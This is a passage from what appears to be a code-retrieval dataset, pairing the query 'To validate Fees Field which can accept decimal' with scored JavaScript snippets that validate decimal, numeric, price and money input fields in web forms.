"322f21af2f1aefdc309b00a1d09dd84f", "score": "0.45019037", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.45019037", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.45019037", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.45019037", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.45019037", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.45019037", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.45019037", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.45019037", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.45019037", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.45019037", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.45019037", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.45019037", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.45019037", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" } ]
74f565ecea97054ff2d74e619234db30
To validate Fees Field which can accept decimal
[ { "docid": "5826b38b9c5d86250f4d5dbaec0a6fdd", "score": "0.74229336", "text": "function FeesFieldAcceptDecimalMul(con) {\n con.value = trim(con.value);\n if (con.value == 0) { return 1000; }\n if (con.value != \"\") {\n var Chars = \"0123456789.\";\n for (var i = 0; i < con.value.length; i++) {\n if (Chars.indexOf(con.value.charAt(i)) == -1) { return 1069; }\n }\n }\n if (con.value.length < 1) { return 1011; }\n else if (con.value.length > 20) { return 1070; }\n return 1014;\n}", "title": "" } ]
[ { "docid": "a546dea3a08278a48e7a79dd5819493d", "score": "0.7634786", "text": "function FeesFieldAcceptDecimal(con, msg) {\n con.value = trim(con.value);\n if (con.value == 0) {\n return stringObject.concat(msg, \" Field is Mandatory.\");\n }\n msg1 = Acceptdecimal(con, msg);\n if (msg1 != \"\") return msg1;\n msg1 = minmaxlength(con, 1, 20, msg);\n if (msg1 != \"\") return msg1;\n return \"\";\n}", "title": "" }, { "docid": "1348160613227f85e22e7b6fc4f02854", "score": "0.7488994", "text": "function FeesFieldRestrictDecimal(con, msg) {\n con.value = trim(con.value);\n if (con.value == 0) {\n return stringObject.concat(msg, \" Field is Mandatory.\");\n }\n msg1 = numeric(con, msg);\n if (msg1 != \"\") return msg1;\n msg1 = decimal(con, msg);\n if (msg1 != \"\") return msg1;\n msg1 = minmaxlength(con, 1, 10, msg);\n if (msg1 != \"\") return msg1;\n return \"\";\n}", "title": "" }, { "docid": "944e009522f8bc0ff64defc72ed98449", "score": "0.7375722", "text": "function validate_importe(value,decimal)\n {\n if(decimal==undefined)\n decimal=0;\n if(decimal==1)\n {\n // Permite decimales tanto por . como por ,\n var patron=new RegExp(\"^[0-9]+((,|\\.)[0-9]{1,2})?$\");\n }else{\n // Numero entero normal\n var patron=new RegExp(\"^([0-9])*$\")\n }\n if(value && value.search(patron)==0)\n {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "372cd48bee9cd6ccf4e6868c387db886", "score": "0.7293998", "text": "function validate_importe(value,decimal)\n{\n if(decimal==undefined)\n decimal=0;\n\n if(decimal==1)\n {\n // Permite decimales tanto por . como por ,\n var patron=new RegExp(\"^[0-9]+((,|\\.)[0-9]{1,2})?$\");\n }else{\n // Numero entero normal\n var patron=new RegExp(\"^([0-9])*$\")\n }\n\n if(value && value.search(patron)==0)\n {\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "d6e511945a4a1e3d2dcc3303d91fce99", "score": "0.722914", "text": "function validatedecimals(id, amount) {\n\n\n // see whether we are using decimal point\n var usedecimals = $('div#usedecimals').text();\n\n if (usedecimals == 'no' && amount == parseInt(amount)) {\n $(id).css('background-color', 'lightgreen');\n // alert('value is parseint ' + amount) ; \n } else if (usedecimals == 'yes' && amount == parseFloat(amount)) {\n $(id).css('background-color', 'lightgreen');\n // alert('value is parsefloat ' + amount) ;\n } else {\n $(id).css('background-color', '#F08080');\n $(id).focus();\n // alert('else ' + amount + ' ' + usedecimals ) ;\n }\n\n return;\n\n }", "title": "" }, { "docid": "9bbaea941549e8bcc6e877e2294883e9", "score": "0.7212968", "text": "function validWeight () {\n if ($('#course_weight').val() === '' || /^\\d(\\.\\d{1,2})?$/.test($('#course_weight').val())) {\n return true;\n }\n else {\n alert(\"Invalid input for weight. Must be a decimal of the form X.XX or X.X\");\n }\n}", "title": "" }, { "docid": "b35471a7c9716b10f12c96ce14a89cd6", "score": "0.70545965", "text": "function ValidateDecimalValue(obj, ValueLength, NoOfDecimalDigit) {\n var vId = obj.id;\n var vInt = \"\";\n var vDec = \"\";\n var vDevidedBy = obj.value.split('.');\n var vMSG = \"Before decimal point more than \" + (ValueLength - NoOfDecimalDigit) + \" digit is not allowed.\";\n if (vDevidedBy.length === 2) {\n vInt = vDevidedBy[0];\n vDec = vDevidedBy[1];\n if (vInt.length > (ValueLength - NoOfDecimalDigit)) {\n alert(vMSG);\n $('#' + vId + '').val(\"\");\n }\n }\n if (vDevidedBy.length === 1) {\n if (obj.value.length > (ValueLength - NoOfDecimalDigit)) {\n alert(vMSG);\n $('#' + vId + '').val(\"\");\n }\n }\n}", "title": "" }, { "docid": "db13e68cf3416302e2d4d9226148bed4", "score": "0.7042437", "text": "function restrictToTwoDecimalPossition(obj,event){\r\n event = event || window.event;\r\n if (event.which!=\"undefined\"){\r\n if (event.which!=0){\r\n var key = event.keyCode || event.which;\r\n if( (key != 46) && (key < 48 || key > 57)){\r\n return false;\r\n }\r\n if(obj.value.indexOf('.')!=(-1) && key==46){\r\n return false;\r\n }\r\n if(key!=46){\r\n if(obj.value.indexOf('.')!=(-1)){\r\n if(obj.value.substr(obj.value.indexOf('.')).length>2)// number\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// of\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// decimal\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// places\r\n {\r\n return false;\r\n }\r\n }else {\r\n if(obj.value.length>10){\r\n return false;\r\n }\r\n }\r\n }\r\n if(obj.value.indexOf('.')!=(-1)){\r\n if(obj.value.substr(obj.value.indexOf('.')).length>2){\r\n return false;\r\n }\r\n }\r\n return true;\r\n }// equal to zero\r\n return true;\r\n }// equal to undefind\r\n return true;\r\n}", "title": "" }, { "docid": "b0dd9da49b99fef2e421fa75a4a7f364", "score": "0.6980456", "text": "function isDecimal(controlId)\n{\t\n\tvar data\t= $('#'+controlId).val();\n\tvar reg \t= new RegExp(/^[0-9]+(\\.[0-9]{1,2})?$/);\n\tif (reg.test(data)==true)\n\t\t\treturn true;\n\telse \n\t{\n\t\tviewAlert(\"Enter Only decimal values having 2 digit after decimal\");\n\t\t$('#'+controlId).focus();\n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "ca2c4857ad26d0005a535ec7418f318a", "score": "0.6958199", "text": "function validateFloatKeyPress(el, evt) {\n var charCode = (evt.which) ? evt.which : event.keyCode;\n var number = el.value.split('.');\n if (charCode != 46 && charCode > 31 && (charCode < 48 || charCode > 57)) {\n return false;\n }\n //just one dot\n if(number.length>1 && charCode == 46){\n return false;\n }\n \n //get the carat position\n var caratPos = getSelectionStart(el);\n var dotPos = el.value.indexOf(\".\");\n if( caratPos > dotPos && dotPos>-1 && (number[1].length > 1)){\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "76faafa08aabb2f93366a6ec4acc3058", "score": "0.69476265", "text": "function validateDecimal(decObj) {\r\n\tif (!isDecimal(decObj.value)) {\r\n\t alert ('\\n\\nIt should be a proper decimal field.\\n\\n');\r\n\t decObj.focus();\r\n\t decObj.select();\r\n\t}\r\n\r\n}", "title": "" }, { "docid": "74052e8e21379f4f004ecf86913e54c5", "score": "0.6945859", "text": "function nonDecCheck(ele, field, intPart, fieldName) {\r\n var numMsg = '';\r\n if (field && (!cargoObj.regEx.numeric.test(field) || cargoObj.regEx.decimal.test(field))) {\r\n numMsg = 'Enter a valid ' + fieldName;\r\n }\r\n return numMsg;\r\n }", "title": "" }, { "docid": "3fcd26f9675cb16556541f690cba59d5", "score": "0.68567747", "text": "function validateQty(el, evt) {\n var charCode = (evt.which) ? evt.which : event.keyCode\n if (charCode != 45 && charCode != 8 && (charCode != 46) && (charCode < 48 || charCode > 57))\n return false;\n if (charCode == 46) {\n if ((el.value) && (el.value.indexOf('.') >= 0))\n return false;\n else\n return true;\n }\n return true;\n var charCode = (evt.which) ? evt.which : event.keyCode;\n var number = evt.value.split('.');\n if (charCode != 46 && charCode > 31 && (charCode < 48 || charCode > 57)) {\n return false;\n }\n}", "title": "" }, { "docid": "f5ee343b6e6201514648272694f6397e", "score": "0.68188393", "text": "function validateNumber (field, value, isPrice) {\n if ((typeof (value) === 'number') && ((isPrice && value.toString().match(/^\\d+(\\.\\d{1,2})?$/)) || !isPrice)) {\n this[field] = value\n } else {\n addError(this, `Invalid data type for the field '${field}' provided`)\n }\n}", "title": "" }, { "docid": "7ae56f3a28e5b872bdb83eaf471b3fb6", "score": "0.6804414", "text": "function isDecimal(sender) {\n try {\n if (event.keyCode > 47 && event.keyCode < 58 || event.keyCode == 46) {\n var amount = $(sender).val();\n var present = 0;\n var count = 0;\n\n do {\n present = amount.indexOf(\".\", present);\n if (present != -1) {\n count++;\n present++;\n }\n } while (present != -1);\n\n if (present == -1 && amount.length == 0 && event.keyCode == 46) {\n event.keyCode = 0;\n //alert(\"Wrong position of decimal point not allowed !!\");\n return false;\n }\n\n if (count >= 1 && event.keyCode == 46) {\n event.keyCode = 0;\n //alert(\"Only one decimal point is allowed !!\");\n return false;\n }\n\n if (count == 1) {\n var lastdigits = amount.substring(amount.indexOf(\".\") + 1, amount.length);\n if (lastdigits.length >= 2) {\n //alert(\"Two decimal places only allowed\");\n event.keyCode = 0;\n return false;\n }\n }\n return true;\n } else {\n event.keyCode = 0;\n //alert(\"Only Numbers with dot allowed !!\");\n return false;\n }\n } catch (err) {\n alert(err);\n return false;\n }\n}", "title": "" }, { "docid": "cdae0151387eb55cfadcde410a22ed38", "score": "0.67957455", "text": "function validateAmountDot(evt) {\n\tvar charCode = (evt.which) ? evt.which : evt.keyCode;\nif (charCode != 46 && charCode > 31 \n && (charCode < 48 || charCode > 57))\n return false;\n\n return true;\n}", "title": "" }, { "docid": "d1b8c22df08e0f34ec6a6082c8d8c8f3", "score": "0.67569", "text": "function InputOnlyDecimalNumberWithTwoPlaces(event, obj) {\n \n if (!event) var event = event || window.event;\n if (event) {\n var keyCode = event.charCode || event.keyCode;\n\n if (keyCode < 48 || keyCode > 57) {\n \n if (event.keyCode != 46) {/////46 means \".\"\n event.preventDefault();\n return false;\n }\n }\n }\n var vValue = obj.value;\n if (vValue == '')\n vValue = 0;\n\n var decimalnum = /^[0-9]+(\\.[0-9]{0,2})?$/;\n if (decimalnum.test(vValue))\n return true\n else {\n event.preventDefault();\n return false;\n }\n}", "title": "" }, { "docid": "b7ab17f64083a7c070cd415de684f1fb", "score": "0.6702232", "text": "isValidDecimal(juliaParam) {\n\t\tlet jp = $(juliaParam);\n\t\tlet jpFormItem = jp.find(\".form-control\");\n\t\tlet jpErrorMsgLoc = jp.find(\".invalid-feedback\");\n\n\t\tif (!this.validDecimal(jpFormItem.val())) {\n\t\t\tjpFormItem.addClass(\"is-invalid\");\n\t\t\tjpErrorMsgLoc.text(\"Please enter a number between -10^\" + this.maxDecIntDigits + \" and 10^\" + this.maxDecIntDigits + \" (exclusive).\");\n\t\t\t//scroll as far down as possible to keep form item on page and show as much of error message as possible\n\t\t\t$('html, body').scrollTop(jpFormItem.closest(\".row\").offset().top);\n\t\t\treturn false;\n\t\t}\n\n\t\tjpFormItem.removeClass(\"is-invalid\");\n\t\tjpErrorMsgLoc.text(\"\");\n\t\treturn true;\n\t}", "title": "" }, { "docid": "e2fecc6f58a036514bbbbb42e1c1f99d", "score": "0.6689022", "text": "function FeesFieldRestrictDecimalMul(con,msg) {\n con.value = trim(con.value);\n if (con.value == 0) {\n return 1000;\n }\n msg1 = numericMul(con, msg);\n if (msg1 != \"\") return msg1;\n msg1 = decimalMul(con, msg);\n if (msg1 != \"\") return msg1;\n msg1 = minmaxlengthMul(con, 1, 10, msg);\n if (msg1 != \"\") return msg1;\n return \"\";\n}", "title": "" }, { "docid": "679b85427a7d0503428de3e51a7e1ada", "score": "0.6677623", "text": "function checkPrecision(ele, field, intPart, decPart, fieldName) {\r\n var numMsg = '';\r\n field = (field.length > 1 && field.charAt(0) === '.') ? '0' + field : field;\r\n field = (field.length > 1 && field.charAt(field.length) === '.') ? field + '0' : field;\r\n\r\n if (field) {\r\n if (!cargoObj.regEx.numeric.test(field) && !cargoObj.regEx.decimal.test(field)) {\r\n numMsg = 'Enter a valid ' + fieldName;\r\n } else {\r\n numMsg = largeOrInvalidPart(numMsg, field, intPart, fieldName, decPart);\r\n }\r\n }\r\n return numMsg;\r\n }", "title": "" }, { "docid": "53b2a479dd0ce3c880457c97d496432e", "score": "0.6675953", "text": "function isNumber(obj)\r\n{\r\n\t//tracker 10880, disallow \",\" in decimal of user input\r\n\tvar objvalue = obj.value;\r\n return (!isNaN(objvalue) && parseFloat(objvalue,10) == (objvalue*1));\r\n}", "title": "" }, { "docid": "942a6f076d883c0c0c9ecc1b35afc25e", "score": "0.6664525", "text": "validateOneOrLessDecimalIn(stringValue){\n return /[.]{1}/gm.test(stringValue)\n }", "title": "" }, { "docid": "8168068f6a6b9a9ae16d7b557b8e527e", "score": "0.6636278", "text": "function validateNumericInput(obj){\r\n\tif(!obj.value.match(/^[0-9\\.]{0,100}$/)){\r\n\t\talert('This field requires a numeric value!');\r\n\t\tobj.focus();\r\n\t\tobj.select();\r\n\t\treturn false;\r\n\t}\r\n\treturn true;\r\n}", "title": "" }, { "docid": "75d5bbddd97ef99b9d88eff94498b95b", "score": "0.65842897", "text": "function enforceFloat() {\r\n var valid = /^\\-?\\d+\\.\\d*$|^\\-?[\\d]*$/;\r\n var number = /\\-\\d+\\.\\d*|\\-[\\d]*|[\\d]+\\.[\\d]*|[\\d]+/;\r\n if (!valid.test(this.value)) {\r\n var n = this.value.match(number);\r\n this.value = n ? n[0] : '';\r\n }\r\n}", "title": "" }, { "docid": "c23cac1a3acac24f16cfa769d3ea4dc6", "score": "0.6584193", "text": "function enforceFloat() {\n var valid = /^\\-?\\d+\\.\\d*$|^\\-?[\\d]*$/;\n var number = /\\-\\d+\\.\\d*|\\-[\\d]*|[\\d]+\\.[\\d]*|[\\d]+/;\n if (!valid.test(this.value)) {\n var n = this.value.match(number);\n this.value = n ? n[0] : '';\n }\n}", "title": "" }, { "docid": "949ee54492e99b92808ad1278f0d78fe", "score": "0.65823716", "text": "function noSePermitenDecimales(){\n alert(\"El número ingresado no puede ser decimal.\\nPor favor volver a intentar\");\n}", "title": "" }, { "docid": "48b023fe1a68448760da0dc53b2e6d9c", "score": "0.65796196", "text": "function setInputDecimalNF(val)\n{\n\tthis.inputDecimalValue = val;\n}", "title": "" }, { "docid": "34d7802d4744dacc8c27a25f56425dd0", "score": "0.6572368", "text": "function AllowDecimal(e, ctrl) {\r\n var varStr = document.getElementById(ctrl.id).value.split('.');\r\n var varCode = e.keyCode ? e.keyCode : e.charCode\r\n\r\n if (Number(varCode) == Number(46)) {\r\n if (varStr.length > 1) {\r\n return false;\r\n }\r\n }\r\n\r\n\r\n if (Number(varCode) == Number(8) || Number(varCode) == Number(9) || Number(varCode) == Number(37) || Number(varCode) == Number(39))\r\n return true;\r\n if (Number(varCode) == Number(47)) {\r\n return false;\r\n }\r\n if (Number(varCode) <= Number(57) && Number(varCode) > Number(45)) {\r\n return true;\r\n }\r\n else\r\n return false;\r\n}", "title": "" }, { "docid": "2e99290a7460a2654c988323ea906f4d", "score": "0.6519331", "text": "function checkCurrency()\n{\n let element = this;\n let re = /^[$]?[0-9]+(\\.[0-9]{2}|)$/;\n let number = element.value.trim();\n if (number == '')\n setErrorFlag(element, true);\n else\n setErrorFlag(element, re.test(number) && (number != '0'));\n}", "title": "" }, { "docid": "4396c87992cf0e5edf1b18d307012891", "score": "0.6492473", "text": "function validNumber(node, id, value)\r\n{\r\n console.log(\"validNumber: \" + id + \" = \" + value);\r\n \r\n if (!value || value.length == 0)\r\n return null;\r\n \r\n var dataType = node.attr(\"data-type\");\r\n if (dataType) {\r\n dataType = dataType.toLowerCase();\r\n\r\n switch (dataType) {\r\n case \"int\":\r\n var msg = validField(node, value);\r\n if (msg) {\r\n return msg;\r\n }\r\n\r\n var regx = /^[-+]?[0-9]*$/;\r\n if (!regx.test(value)) {\r\n return \"Input (int) format is not recognized\";\r\n }\r\n break;\r\n case \"decimal\":\r\n var msg = validField(node, value);\r\n if (msg) {\r\n return msg;\r\n }\r\n\r\n var regx = /^[-+]?[0-9]*\\.?[0-9]+$/;\r\n if (!regx.test(value)) {\r\n return \"Input (decimal) format is not recognized\";\r\n }\r\n break;\r\n case \"float\": \r\n var msg = validField(node, value);\r\n if (msg) {\r\n return msg;\r\n }\r\n //MP: added by Matt Parantha for standard SRP validation for input type = float\r\n //1) get width and scale for this float \r\n var specs = node.attr(\"data-width\");\r\n var arr = specs.split(\",\");\r\n var width = parseInt(arr[0]);\r\n var scale = parseInt(arr[1]);\r\n var err1 = \"Input (float) format is not recognized. Exponential notation is not supported.\";\r\n var err2 = \"\";\r\n if (scale == 0) {\r\n err2 = \"Invalid number. Valid numbers must have 1 to \" + width + \" digits. No decimal point is accepted. Commas can be used as thousand separators, i.e. to group exactly 3 digits at the right of the comma. Note commas are not considered as parts of the numeric data.\";\r\n }\r\n else {\r\n err2 = \"Input (float) format is not recognized. Valid numbers must have 1 to \" + width + \" digits including up to \" + scale + \" fractional digits. Also valid numbers must not have comma (,) or dot (.) as the last character.\";\r\n }\r\n \r\n if (value != null && value != \"\") {\r\n //2) We don't allow exponential notation if scale and precision are specified for a numeric\r\n if (value.lastIndexOf('e') >= 0 || value.lastIndexOf('E') >= 0)\r\n return err1; \r\n //3)Verify decimal posi\r\n \r\n // var pattern = \"^[-+]?([0-9]{1,3}),?([0-9]{3},?)*([0-9]{3}|[0-9]+)(\\.[0-9]{1,\" + ((scale>0)?scale:1) + \"})?$\";\r\n \r\n var pattern = \"^[-+]?([0-9]{1,3}),?([0-9]{3},?)*([0-9]{3}|[0-9]+)\";\r\n\r\n if (scale > 0)\r\n pattern += \"(\\.[0-9]{1,\" + scale + \"})?$\";\r\n else\r\n pattern += \"$\";\r\n\r\n var doublefloatRegEx = new RegExp(pattern);\r\n if (!doublefloatRegEx.test(value)) {\r\n console.log(\"I'm here!\");\r\n return err2;\r\n }\r\n else {\r\n var count = 0;\r\n for (var i = 0; i < value.length; i++) {\r\n var ch = value.charAt(i);\r\n count += (0 <= ch && 9 >= ch) ? 1 : 0;\r\n } \r\n if (count > width) {\r\n return err2;\r\n }\r\n\r\n/*\r\n var valueAsFloat = parseFloat(value);\r\n if (scale > width || valueAsFloat == null ||isNaN(valueAsFloat) || value != valueAsFloat) {\r\n return err2;\r\n }\r\n else {\r\n var calculatedPrecision = 0;\r\n var calculatedScale = 0;\r\n var valueAsString = value;\r\n valueAsString = valueAsString = valueAsString.replace(\"-\", \"\").trim();\r\n valueAsString = valueAsString.replace(\"+\", \"\").trim();\r\n valueAsString = valueAsString.replace(\",\", \"\").trim();\r\n calculatedPrecision = valueAsString.replace(\".\", \"\").length;\r\n var decimalPosition = valueAsString.lastIndexOf('.');\r\n if (decimalPosition >= 0) {\r\n calculatedScale = Math.max(0, (calculatedPrecision - decimalPosition));\r\n }\r\n else {\r\n calculatedScale = 0;\r\n }\r\n if (!((calculatedPrecision <= precision) && (calculatedScale <= scale))) {\r\n return err2;\r\n }\r\n }\r\n*/\r\n }\r\n }\r\n break;\r\n case \"money\":\r\n var msg = validField(node, value);\r\n if (msg) {\r\n return;\r\n }\r\n\r\n var specs = node.attr(\"data-width\");\r\n var arr = specs.split(\",\");\r\n var width = parseInt(arr[0]);\r\n var scale = parseInt(arr[1]);\r\n var newWidth = width + scale;\r\n var newWidth2 = width-scale;\r\n regx = new RegExp(\"^[0-9]{0,\"+newWidth2+\"}(\\\\.[0-9][0-9])?$\");\r\n if (!regx.test(value)) {\r\n return \"Please enter the cost value without the currency symbol or commas. Example: 5001.01 or 45678\";\r\n }\r\n break;\r\n default:\r\n return validField(node, value);\r\n } \r\n } \r\n return null;\r\n} // validNumber", "title": "" }, { "docid": "4e2e90063a28db97db00ff5d4b572bb5", "score": "0.6456508", "text": "function checkMaxDecimal(controlId,maxlen)\n{\n\tvar reg \t= new RegExp(/^\\d+(\\.\\d{1,2})?$/);\n\tvar eVal = $('#'+controlId).val();\n\tvar flen = eVal.indexOf(\".\");\n\tvar spl = eVal.split(\".\");\n\tif(flen==-1)\n\t{\n\t\tif(eVal.length>maxlen)\n\t\t{\n\t\t\tviewAlert(\"Enter decimal value of total 13 character with 2 digit after decimal\");\n\t\t\t$('#'+controlId).focus();\n\t\t\treturn false;\n\t\t}\n\t\telse\n\t\t\treturn true;\n\t}\n\telse if(spl[0].length<=10 && reg.test(eVal)==true)\n\t{\t\n\t\t\treturn true;\n\t}\n\telse\t\n\t{\n\t\tviewAlert(\"Enter decimal value of total 13 character with 2 digit after decimal\");\n\t\t$('#'+controlId).focus();\n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "0b46adb5fa4912b548eb0c994b39bafc", "score": "0.645605", "text": "validDecimal(stringValue) {\n\t\tlet floatValue = parseFloat(stringValue);\n\t\treturn stringValue != \"\"\n\t\t\t&& !isNaN(stringValue)\n\t\t\t&& floatValue > this.sqlDecMin\n\t\t\t&& floatValue < this.sqlDecMax;\n\t}", "title": "" }, { "docid": "30917ee949e9653fbb93653946828a25", "score": "0.6441744", "text": "function validDecimalNumeric(input) {\n if (input.indexOf('-') !== -1 || input.indexOf(',') !== -1 || !$.isNumeric(input)) {\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "fa1d0abcf5de99ba01b577808ff04ca3", "score": "0.64134485", "text": "function isPrice(formid, input_field, num_type, msg_field) {\n var number;\n var regex;\n \n number = document.getElementById(input_field).value;\n regex = /^[0-9\\x2C\\x2E]+$/; // can contain digits, comma and the decimal point\n if (number.length > 8) {\n document.getElementById(msg_field).innerHTML = \"* Can contain price less or equal to 9,999.99\"; \n setVal(num_type, 'false');\n } else {\n if (number != '') {\n // if the value entered in a isbn is not a nuumber (if characters is true, number can contain a %, _)\n if (!regex.test(number)) { \n document.getElementById(msg_field).innerHTML = \"* Can contain only digits (and decimal point and comma)\"; \n setVal(num_type, 'false');\n } else {\n setVal(num_type, 'true');\n document.getElementById(msg_field).innerHTML = \"\"; // show the message \n }\n } else {\n setVal( num_type, 'true' );\n document.getElementById(msg_field).innerHTML = \"\"; // show the message \n }\n }\n}", "title": "" }, { "docid": "52cf27d2dcfa4b8e0bb33596c7d79473", "score": "0.63977414", "text": "keyPressNumbersDecimal(event, input) {\n const charCode = (event.which) ? event.which : event.keyCode;\n if (charCode !== 46 && charCode > 31\n && (charCode < 48 || charCode > 57)) {\n event.preventDefault();\n return false;\n }\n else if (charCode === 46) {\n const meta = this.tokenTransfer ? this.tokenService.getAsset(this.tokenTransfer) : null;\n if (this[input].includes('.') ||\n (input === 'amount' && (meta === null || meta === void 0 ? void 0 : meta.decimals) === 0)) {\n event.preventDefault();\n return false;\n }\n else if (this[input].length === 0) {\n this[input] = '0' + this[input];\n }\n }\n return true;\n }", "title": "" }, { "docid": "213f45692ade2405131b121319f8fa6c", "score": "0.63786155", "text": "function validate_float(input){\n if (Number.isNaN(+input.value))\n return \"The value of \"+input.labelText+\" must be an number\";\n if (input.minInputValue !== undefined && input.value < input.minInputValue)\n return \"The value of \"+input.labelText+\" must not be less than \" + input.minInputValue.toString();\n if (input.maxInputValue !== undefined && input.value > input.maxInputValue)\n return \"The value of \"+input.labelText+\" must not be more than \" + input.maxInputValue.toString();\n input.value = (+input.value).toString();\n \n return true;\n}", "title": "" }, { "docid": "5f2eb7d67ecb6d542078c3b71acec782", "score": "0.6376046", "text": "function InputOnlyDecimalNumber(event) {\n \n var event = event || window.event;\n if (event) {\n var keyCode = event.charCode || event.keyCode;\n if (keyCode < 48 || keyCode > 57) {\n\n if (event.keyCode != 46) {/////46 means \".\"\n event.preventDefault();\n return false;\n }\n }\n }\n \n}", "title": "" }, { "docid": "0a52309a871ccab654dcc9615c0492db", "score": "0.63608325", "text": "function isDecimal(value, options) {\n return typeof value === \"string\" && validator__WEBPACK_IMPORTED_MODULE_1___default.a.isDecimal(value, options);\n}", "title": "" }, { "docid": "d8ba41d9bfdd4c3ad56a107b27194e4a", "score": "0.6353085", "text": "function InputOnlyDecimalNumberWithPoint(event,obj, pDecimalPoint) {\n\n var vValue = obj.value;\n var vIndex = vValue.indexOf(\".\");\n var vLength = vValue.length;\n if (event.keyCode == 46) {\n if (vIndex != -1) {\n window.event.keyCode = 000;\n return false;\n }\n else {\n return true;\n }\n }\n if (pDecimalPoint == '' || pDecimalPoint == undefined) {\n pDecimalPoint = 2;\n }\n if (vIndex >= 0 && vIndex < vValue.length - pDecimalPoint) {//if ((vLength - vIndex > pDecimalPoint) && vIndex != -1) {\n window.event.keyCode = 000;\n return false;\n }\n if (event.keyCode < 48 || event.keyCode > 57) {\n window.event.keyCode = 000;\n return false;\n }\n else\n return true;\n}", "title": "" }, { "docid": "5a5618846cd86b657ff594a8e39baeef", "score": "0.6325294", "text": "function check_numeric( field ) {\n if (!field) field = this;\n if (typeof field == \"string\") field = byId(field);\n var v = field.value;\n if (!is_numeric(v)) {\n throw {\n msg:\"Please enter a number\",\n field:field\n };\n }\n return 1*v;\n }", "title": "" }, { "docid": "286627f2ec4239aff5ebd19c2574d980", "score": "0.63135767", "text": "function jsDecimals(e) {\n\n var evt = (e) ? e : window.event;\n var key = (evt.keyCode) ? evt.keyCode : evt.which;\n if (key != null) {\n key = parseInt(key, 10);\n if ((key < 48 || key > 57) && (key < 96 || key > 105)) {\n //Aca tenemos que reemplazar \"Decimals\" por \"NoDecimals\" si queremos que no se permitan decimales\n if (!jsIsUserFriendlyChar(key, \"Decimals\")) {\n return false;\n }\n }\n else {\n if (evt.shiftKey) {\n return false;\n }\n }\n }\n return true;\n}", "title": "" }, { "docid": "f7231ce40f71e8347bc60dc2aebdd4a3", "score": "0.63105357", "text": "function numbersonly(myfield,e,dec){var key;var keychar;if(window.event)key=window.event.keyCode;else if(e)key=e.which;else return true;keychar=String.fromCharCode(key);if((key==null)||(key==0)||(key==8)||(key==9)||(key==13)||(key==27))return true;else if(((\"0123456789\").indexOf(keychar)>-1))return true;else if(dec&&(keychar==\".\")){myfield.form.elements[dec].focus();return false}else return false}", "title": "" }, { "docid": "3d492f6e3e487e9165d03f4fb73dc443", "score": "0.6306709", "text": "function validatePrecision(pElement, 